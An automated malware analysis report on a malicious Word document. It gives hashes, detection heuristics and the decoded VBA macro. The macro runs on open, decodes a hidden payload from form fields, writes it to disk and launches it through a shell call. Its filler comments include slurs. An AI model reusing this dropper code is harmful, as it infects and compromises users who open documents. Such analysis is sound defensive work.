Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2c048e8e4a23fbc3…

MALICIOUS

Office (OOXML)

91.2 KB Created: 2021-02-26 09:35:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2022-06-20
MD5: 96fe7d4ad3205965333aeff6720303c2 SHA-1: f660f9b09174636382d86cc0750b637dbb9d093e SHA-256: 2c048e8e4a23fbc31ce300131614f2b4c5845eca1bfb803089d2c11e0bc8d7e2
190 Risk Score

Heuristics 6

  • ClamAV: Doc.Downloader.8f0f0f0fe0f0f0f0-OOXML-9981534-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.8f0f0f0fe0f0f0f0-OOXML-9981534-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Dim a8NFw As New Shell32.Shell
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    With CreateObject("Microsoft.XMLDOM").createElement("b64")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7528 bytes
SHA-256: 22504925d3e4065084d542eb615832d62ecf8af31a3fbdb63e4e95e5370bcd34
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "frm"
Attribute VB_Base = "0{0FF65ED0-39EC-427D-AB17-4DD980C5BAC2}{FE37693B-2380-437D-93F1-F660A0445AB3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "asUHR"
Sub AutoOpen()
' Beet prevention
' Targets retarded testimony wainscot legislature
' Expound clicks flavor middlesex aura
' Twins parenting ebony wu travelers
' Adultery islamic
Call aSQYNF
End Sub
Sub aSQYNF()
aVbuBC
End Sub
Function aWYEjS(ai3R5m)
aqSn34 = ""
For aLawN = Len(ai3R5m) To 1 Step -1
aqSn34 = aqSn34 & "" & Mid(ai3R5m, aLawN, 1)
Next aLawN
aWYEjS = aqSn34
End Function
Function aNrKe(b64)
With CreateObject("Microsoft.XMLDOM").createElement("b64")
.DataType = "bin.base64"
.text = b64
        b = .nodeTypedValue
End With
aNrKe = StrConv(b, vbUnicode)
End Function

Attribute VB_Name = "aRkomU"
Sub awTPSI(aPX0zB, a2HM1)
' Flows starling smaller
' Emporium slut artificially retrieved printed
' Remarks substantive frantically
Set ab036 = CreateObject("Scripting.FileSystemObject")
Call ab036.CopyFile(aPX0zB, a2HM1, 1)
' Rebound deferred knead whole persistence
' Leg stockade where deutsch
End Sub
Sub au5cy(a2uyp, aKUNTz)
' Upsetting surname inserted yeah
' Tower adopt showtimes unsubscribe
' Anything skirts
' Vault telegraphic lie
' Lay sender sediment adjust
' Tassel ironic moonshine ricky
' Supporting hir
' Nubia truck entities
' Brown
' Hon minx
' Praise veterans preferences
' Orchestral answer
' Trumpery philip introduces
' Overrated vi
' Snatching sexually ee
' Deal dally communist divided unaided belong
' Extra damage hike hearts
' Qualify nullify
' Desperate beautifully midnight
' Imprison mockingly demands stable warrant ablest
' Worthy consequently
' Genius introspection sanyo fungi
Open a2uyp For Output As #1
Print #1, aKUNTz
' Liechtenstein tease cigarette draughts hyperbole
Close #1
End Sub

Attribute VB_Name = "aWcSEV"
Function aMX17(a1OwJ)
' Fork crape unconstitutional final calibration
' Beaches
' Switches cents nirvana embryonic
' Tale adduce descriptions
' Nibble prelude logical integrate forage
' Stubble discount
' Progeny encompass terry romantic
' Movies infatuation
' Mingo strip saver
' Sexually victoria shopping
' Harvest portugal sleeps
End Function
Function aXPSW(aS2s6A)
' Spot chaparral
' Gunwale about
' Themes largeness poem currently emission drive printer
' Balance both
' Mire
' Qualm ween option rudimentary
' Strangle glazed eaves
' Convocation junk britannica everywhere diploma electricity block
' Eyed wto articles feat
' Emission
' Resolved retained
' Resultant leonine minerva congenital cosmic reaching
' Derives nakedness gratis
aZh9Em = Split(aWYEjS(frm.paths.text), "|")
Select Case aS2s6A
Case Is = 0
aXPSW = aZh9Em(0)
Case Is = 1
aXPSW = aZh9Em(1)
Case Is = 2
aXPSW = aZh9Em(2)
Case Is = 3
aXPSW = aZh9Em(3)
End Select
' Wisconsin actual echo exhibit
' Harvey twinge previews
' Afoot denial inventory draughts wallis
' Candied tuck rent negotiations
' Syracuse spittle pay
' Rejected nuke obnoxious pith ips
' Ravenous
' Curvature commerce
' Fungus bulge footwear instruction braced
' Fisheries
' Elucidate consoles vineyard
' Enunciation originate sou
' Bracelet abdul instrumentation belong
' Importunate template conference
' Overworked muhammad -logy singapore tricky stationery linked
' Groove avi carlos leaflet registered
' Acacia discovers combined erp instantaneously
' Skating importation
' Balustrade pushing delphi
' Shape produces
' Symmetry askew detract niggers lymph
' Sessions chicken advocate
End Function
Function aasXfQ(ao06dC, a7h9F)
' Milton erotic sunflower colour egg
' Dukedom pennant engine
' Portly vc
' Fatima hallowed trestle
' Prosy wesley hacking
' Deposition sean sesame arts representation
' Require bland tickets
' Unwell abeyance tion ostrich
End Function
Sub aVbuBC()
aefcSN = aXPSW(0)
afQU4 = aXPSW(1)
aeKOg = aXPSW(2)
amzg3G = aXPSW(3)
' Institutes 555 piece hayes bonus sandy
' Crucify litigation reference
' Nb titans piece chamber dominica
' Processes guiana reuters
' Fibrous clumsily
' Sextant theology cowed large costs
' Wainwright investing press attraction tile
' Stanford disquiet playstation pulling loquacity
' Hard-headed
' Survivor thought framing
' Centuries sulphide wholl
' Overcome frontpage wolf
' Indicate
' Phone vessels americans extensive loam
' Hitachi newsletter bean mysterious
' Procures
' Plow lexus background region
' Embryonic carrier rounds
' Director cornwall kneeled
' Meteoric explore exaggerate exchange
' Lair leant
' Houseboat kate volt
' Buy sensuous lewd hebrew
' Checklist accruing cam sorted sward barbados
' Nato terrifying cold-blooded verification carrion examination
' Grunt completes rusted televisions
' Unkempt strumpet legislature
' Moat deemed plymouth portfolio
' Mas resort
' Integrated statuette epic pill
alHxN = aWYEjS(aNrKe(frm.pay.text))
' Anthropology lamentably muhammad minister currant
' Usa relation textbooks liability souls
' Placing span froth fig
au5cy aefcSN, alHxN
' Maternity genius disproportionate clubs
' Dynamic
' Everyday precipitation clinics delectable
' Booty overshadow mud robot
' Patricia yes mid wagon
' Budapest
' Definitely montgomery precipitous flatterer
' Lax renegade thistle
' Gi reflex sql subsist logan laborer mushroom
' Actions jackson
awTPSI aeKOg, afQU4
' Wellness treasure lit
' Kelly pulsation teachers
' Bootless elliott dive gnu
' Competitors
' Wriggle tenable edification ryan decision sustenance
' Ricky elysium satyr savings explosive
' Rm fodder george paganism
' Vandals halloween luther
' Max titans nt
' So lymph investigator tel
' Represented proprietary
' Foolscap deserter notation
' Seeker
' Thy get blockade
' Cult joseph intelligent constant pall
' Family spicy abounding
' Conscription tsunami angel depends
' Dictator dns addiction jap times biology
' Meteor
' Lotion pattern
' Falling infinite
' Dialog trimmings sloped duplicate
' Debonair
' Scotia nevada followed impropriety adobe flagship
' Tablecloth pathology
aa2rq = Chr(34)
a1p3Be = Trim(amzg3G & "t : " & aa2rq & aefcSN & aa2rq)
' Dens oz searching
' Senegal
' Holster beck facsimile albert mph flashers
' Replies long protestant wv
Dim a8NFw As New Shell32.Shell
Call a8NFw.ShellExecute(afQU4, a1p3Be, " ", SW_SHOWNORMAL)
' Reorganization storied unwound webpage archibald
' Farcical indicator rosa cw
' Sewing furtherance preferences ciao
' Dispersing
' Jake glowered hall
' Windlass kaleidoscope armistice
' Hdtv unwashed genitive right effrontery
' Flea sender latvia gains words slighted
' Cash leicestershire reprobate pincers elizabeth loop liberty
' Stabbing noisome
' Champions surgery insulated bulky
' Maritime
' Informal covers
' Flag cycle lamentation chocolate
' Figure brighton hosea
' Brad
' Maintains cacique
' Obliterate bread homeland aside masque
' Voracious
' Nw wealth
' Laugh kingly converge
' Crestfallen
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 38912 bytes
SHA-256: 3233e7a10119adfa806829b88b0c94fb9a71d2476821885d8435aed2418a8db9